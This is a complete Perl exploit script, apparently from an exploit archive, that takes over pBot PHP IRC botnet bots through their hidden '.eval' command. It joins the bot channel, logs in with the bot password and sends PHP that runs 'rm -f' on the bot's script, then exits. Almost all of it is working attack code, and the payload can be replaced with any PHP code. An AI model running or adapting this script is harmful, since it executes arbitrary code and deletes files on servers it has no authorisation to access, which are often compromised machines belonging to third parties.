This perl script attacks pBot by leveraging a hidden .eval command to delete and kill the bot.
19d0cd2419b1ba8636cb8720f58807484e2cd5fe55c43028edb94c4dfbfc419f
#!/usr/bin/perl
# Exploit Title: pBot Remote Code Execution ("*" hostauth)
# Date: 31.07.2012
# Exploit Author: @bwallHatesTwits
# Software Link: https://www.firebwall.com/decoding/read.php?u=620d21fd31b87046e94975e03fdafa8a (decoded from attempted attack)
# Version: Various versions
# Tested on: Linux 3.2
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
my $nickname = "BotSlayer";
my $ident = "BotSlayer";
my $fullname = "BotSlayer";
$sel_client = IO::Select->new();
#configuration values from the bot source
$ircserver = "localhost"; #"server"
$ircserverpass = ""; #"pass"
my $ircport = "6667"; #"port"
#if "key" is set, then add a space and the password to the chan name
my @channels = ("#anonbxu"); #"chan" and "chan2"
$botPass = "hello"; #"password"
$botTrigger = "."; #"trigger"
#hostauth must be "*"
$loginCMD = "user"; #usually user or login
#payload - PHP code to run
#This version deletes the bots originating script, and dies
$phpEval = "shell_exec(\"rm -f \".\$_SERVER['SCRIPT_NAME']);exit();";
$channelCount = scalar(@channels);
sub onJoin
{
my $channel = shift;
$channel = substr($channel, 1);
print "Joined $channel\n";
say($channel, $botTrigger.$loginCMD." $botPass");
sleep(1);
say($channel, $botTrigger."eval \@BallastSec ".$phpEval);
print "Payload delivered\n";
tryQuit();
}
sub tryQuit
{
$channelCount--;
if($channelCount == 0)
{
quit("whomp wha");
}
}
sub sendraw
{
if ($#_ == '1')
{
my $socket = $_[0];
print $socket "$_[1]\n";
}
else
{
print $IRC_cur_socket "$_[0]\n";
}
}
sub conn
{
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket))
{
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
if($ircserverpass != "")
{
sendraw("PASS ".$ircserverpass);
}
sendraw("NICK ".$mynick);
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}
sub parse
{
my $servarg = shift;
print $servarg."\n";
if ($servarg =~ /^PING \:(.*)/)
{
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) JOIN (.+)/)
{
my $channel = $4;
onJoin($channel);
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/)
{
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/)
{
notice("$pn", "\001VERSION BotSlayer by Ballast Security\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ )
{
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i)
{
if (lc($1) eq lc($mynick))
{
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i)
{
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach(@channels)
{
sendraw("JOIN $_");
}
}
}
my $line_temp;
while(1)
{
while (!(keys(%irc_servers)))
{
conn($nickname, $ircserver, $ircport);
}
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready)
{
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;
for(my $c=0; $c<= $#lines; $c++)
{
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
parse("$line");
}
}
}
sub say
{
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice
{
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub join
{
sendraw("JOIN $_[0]");
}
sub part
{
sendraw("PART $_[0]");
}
sub quit
{
sendraw("QUIT :$_[0]");
exit;
}